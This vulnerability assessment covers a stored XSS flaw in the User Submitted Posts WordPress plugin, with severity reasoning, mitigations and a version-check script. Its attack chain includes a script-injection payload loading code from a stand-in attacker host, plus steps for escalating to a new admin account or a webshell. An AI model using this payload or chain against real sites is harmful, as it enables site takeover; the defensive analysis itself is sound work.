An admin who opens the wrong submitted-post preview gets JavaScript in their session cookie
The User Submitted Posts WordPress plugin (versions before 20260608) fails to escape a user-controlled value before rendering it inside an admin-configured display context. An unauthenticated site visitor submits a post through the plugin's front-end form, embeds JavaScript into the vulnerable field, and the payload later executes when a WordPress administrator or editor views the admin-configured display area (either the wp-admin submission review screen or a shortcode-rendered page). Successful exploitation means arbitrary JavaScript running under the victim's browser origin — which for an admin means the ability to create new admin users, plant a webshell via the theme/plugin editor, or exfiltrate wp_users via nonce-authenticated AJAX.
No vendor CVSS is published for this record, so this is a first assessment, not a rescore. Judged on its merits: it's a real stored XSS in a plugin used on ~20,000+ WordPress sites per the wordpress.org install counter — meaningful footprint but not internet-scale. The attack requires no authentication to plant, which is the aggravating factor; but detonation requires an admin to actually load the poisoned view, and the blast radius stops at the one WordPress site. Vendor severity would land in the MEDIUM band under CVSS 3.1 (network vector, low complexity, no privs to plant, user interaction required, scope changed, low integrity impact on the WP tenant).
4 steps from start to impact.
Locate a site running the plugin
usp_ shortcode markers in page HTML, the /wp-content/plugins/user-submitted-posts/ path, or the plugin's default form CSS class. Tools: wpscan --enumerate vp, httpx + grep, or the wordpress.org plugin fingerprint database.- Plugin User Submitted Posts installed and version < 20260608
- Front-end submission form reachable by anonymous or low-priv users (default config)
- Admins who require login before submission cut anonymous reach
- Sites behind Cloudflare WAF managed rules block the plugin fingerprint scan noise
Submit a poisoned post through the plugin form
"><script src=//attacker/x.js></script>) placed in the unescaped field. The plugin stores it verbatim in wp_posts / wp_postmeta because the pre-20260608 code path skips esc_attr() / esc_html() before echoing it into the admin-configured display context. Weaponization: curl with the form params, or the Burp Repeater with a saved submission template.- Form accepts submissions without CAPTCHA / hCaptcha
- No pre-save sanitizing filter added by the site's theme
- Sites enabling the plugin's built-in reCAPTCHA option block automated submissions
- Wordfence / Sucuri XSS payload signatures flag the raw
<script>in POST body
<script, onerror=, javascript:) trip on the submission POST.Wait for an admin to view the poisoned display context
- A WordPress user with
edit_postsor higher opens the affected view - Admin browser has an active
wordpress_logged_in_*cookie
- Sites with Content-Security-Policy
script-src 'self'block external script loads - Admins reviewing via mobile app / Jetpack don't render the vulnerable admin view
- Some deployments only render this in a non-authenticated public shortcode → impact drops to session XSS on visitors, not admin takeover
Convert admin JS execution into persistent site compromise
/wp-admin/user-new.php and add a new administrator, or to /wp-admin/plugin-editor.php to append a PHP webshell to any active plugin file. Weaponization: public tools like wp-xss-payloads (github) or a hand-rolled fetch() chain against the REST API using the leaked nonces.- Admin session is live at detonation
DISALLOW_FILE_EDITis NOT set inwp-config.php(default)
- Setting
define('DISALLOW_FILE_EDIT', true);kills the theme/plugin editor path - 2FA plugins (Wordfence 2FA, WP 2FA) do NOT block already-authenticated session abuse — this is not a mitigation
- Cloudflare Zero Trust in front of /wp-admin blocks non-corporate-IP admin actions
The supporting signals.
| In-the-wild status | No confirmed exploitation as of assessment date. Stored XSS in low-install-count WP plugins is rarely worth building automation for — attackers prefer unauth RCE plugins. |
|---|---|
| Public PoC | No public PoC repo linked to this CVE ID yet; prior USP XSS bugs (2016, 2023, 2024) have public writeups on pvagenas.com and WPScan — payload structure is trivially transferable. |
| EPSS | Not yet scored (CVE assigned 2026-07-01). Historical baseline for stored-XSS-in-WP-plugin CVEs is ~0.1–0.5% — very low weaponization probability. |
| KEV status | Not listed. CISA has never added a WordPress plugin stored-XSS to KEV. |
| CVSS | No vendor score published. noisgate assessed vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N → 5.4 (MEDIUM). |
| Affected versions | All User Submitted Posts versions < 20260608. |
| Fixed version | 20260608 or later. Update via WP admin → Plugins → Update. |
| Exposure population | wordpress.org active install counter: ~20,000+ sites. Not in the WP top-1000 plugins. Site-scale, not internet-scale. |
| Disclosure | 2026-07-01 — CVE assignment date. |
| Reporter | Not disclosed in the CVE record at time of assessment; Patchstack / WPScan typically credit within days of publication. |
noisgate verdict.
Assessed at MEDIUM because the single decisive factor is blast radius: one WordPress tenant per successful chain, gated by a privileged user actually rendering the poisoned view. Detonation is user-interaction-dependent and the affected component is not a role-defining piece of enterprise infrastructure — it's a front-end content submission plugin on a ~20k-install footprint.
Why this verdict
- Unauth plant, auth detonation — the payload can be inserted by anonymous submitters, which is the aggravating factor; but the payload only fires when an admin/editor views the vulnerable display, which caps velocity.
- Role multiplier: low-value role (typical CMS deployment) — a public WordPress site running a submission plugin. Chain succeeds, but blast radius is one tenant's content DB + potential webshell on that one site. No lateral movement into corporate identity, no fleet impact.
- Role multiplier: high-value role does not exist for this component — User Submitted Posts is not a hypervisor, IdP, CA, backup admin, or kernel-mode agent. There is no realistic deployment where the component sits on a Tier-0 asset. Role-floor logic does not push the verdict above MEDIUM.
- Installed base ~20k sites per wordpress.org — meaningful but small; below the threshold where opportunistic mass-exploitation frameworks (WPScan modules, Wordfence attack telemetry cohorts) typically bother writing signatures the same week.
- No KEV, no active exploitation, no public PoC as of assessment — nothing pulling the score upward from the base MEDIUM.
Why not higher?
Not HIGH because the chain requires a privileged victim to load the poisoned view (UI:R), the blast radius is scoped to a single WordPress tenant, and the affected component has no plausible high-value-role deployment (no hypervisor, no IdP, no CA, no backup, no kernel agent). No KEV and no in-the-wild campaign to justify an upward pressure.
Why not lower?
Not LOW because the payload is planted unauthenticated and admin-context XSS on WordPress converts trivially to full site takeover via the plugin/theme editor or new-admin-user creation. On sites with active moderation workflows the admin will view the poisoned entry — this is not a theoretical XSS that never fires.
What to do — in priority order.
- Update User Submitted Posts to 20260608 or later on every WP site — This is the primary fix. Under the noisgate remediation SLA for MEDIUM, deploy within the 365-day window — but if you have >5 WP sites running this plugin, batch it into your next monthly WP maintenance window; no reason to wait a year.
- Set
define('DISALLOW_FILE_EDIT', true);inwp-config.phpon every WordPress site — This kills the plugin/theme editor path, meaning admin-context XSS can still create users but cannot drop a webshell via the file editor. Zero-cost hardening — should already be in your WP baseline. No mitigation SLA for MEDIUM, but do this the same day you touch the box. - Enable a WAF ruleset that inspects the plugin's submission POST for XSS payloads — Wordfence Premium, Sucuri, Cloudflare WAF managed rules, or Patchstack all ship generic XSS payload signatures that catch the raw
<script>/onerror=planting attempts. Deploy on your top-N public WP sites now — plugin patch will follow. - Turn on CAPTCHA / hCaptcha in the plugin's submission form settings — Blocks automated planting scripts. The plugin has a built-in setting for this; toggle it via wp-admin → USP settings.
- Add a Content-Security-Policy header restricting
script-srcto self + known CDNs — Blocks the external<script src=...>variant of the payload. Won't stop inline JS, but breaks the commondocument.write(<script src=attacker>)weaponization.
- Enabling 2FA on WP admin accounts — the payload runs inside an already-authenticated admin session, so the second factor was already consumed at login. 2FA does NOT block session-riding XSS.
- Blocking anonymous form submissions with rate limiting — the attacker only needs ONE successful submission to plant the payload. Rate limits are anti-spam, not anti-XSS.
- Trusting the plugin's own input sanitization prior to 20260608 — that's exactly the code path that's broken; no configuration toggle inside the vulnerable version turns the escaping back on.
Crowdsourced verification payload.
Run on the WordPress host (or via SSH from an ops jumpbox) as any user with read access to the wp-content directory. Invocation: ./check_usp.sh /var/www/html where the argument is the WordPress document root. No root required unless the wp-content directory is locked down.
#!/usr/bin/env bash
# noisgate CVE-2026-11570 detector — User Submitted Posts < 20260608
# Usage: ./check_usp.sh /path/to/wordpress
set -u
WP_ROOT="${1:-/var/www/html}"
PLUGIN_DIR="$WP_ROOT/wp-content/plugins/user-submitted-posts"
FIXED="20260608"
if [[ ! -d "$PLUGIN_DIR" ]]; then
echo "UNKNOWN: plugin directory not present at $PLUGIN_DIR"
exit 2
fi
# Version lives in the plugin main file header: Version: YYYYMMDD
HEADER_FILE="$PLUGIN_DIR/user-submitted-posts.php"
if [[ ! -f "$HEADER_FILE" ]]; then
echo "UNKNOWN: plugin header file missing"
exit 2
fi
VER=$(grep -iE '^[[:space:]]*\*?[[:space:]]*Version:' "$HEADER_FILE" \
| head -1 | sed -E 's/.*Version:[[:space:]]*//' | tr -d '[:space:]')
if [[ -z "$VER" ]]; then
echo "UNKNOWN: could not parse Version from $HEADER_FILE"
exit 2
fi
# Compare as integers (versioning is YYYYMMDD)
if [[ "$VER" =~ ^[0-9]{8}$ ]] && (( 10#$VER < 10#$FIXED )); then
echo "VULNERABLE: User Submitted Posts $VER (< $FIXED)"
exit 1
elif [[ "$VER" =~ ^[0-9]{8}$ ]]; then
echo "PATCHED: User Submitted Posts $VER (>= $FIXED)"
exit 0
else
echo "UNKNOWN: unexpected version format: $VER"
exit 2
fi
If you remember one thing.
DISALLOW_FILE_EDIT=true in wp-config.php on every WordPress instance (do it this week; it's zero-cost hardening) and confirm your WAF has generic stored-XSS rules on the submission POST path. Do NOT prioritize this above any HIGH or CRITICAL open ticket — the blast radius stops at one WP tenant per chain and there is no in-the-wild activity.Sources
- WordPress.org plugin page — User Submitted Posts
- WPScan — prior USP Admin+ Stored XSS
- Patchstack — USP 20230901 XSS
- Patchstack — earlier USP 20151113 XSS
- Rapid7 vuln DB — related USP CVE
- Wordfence Intelligence weekly WP vuln report
- Fastly — active exploitation of unauth stored XSS in WP plugins
- Infosecurity Magazine — USP plugin vulnerability coverage
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.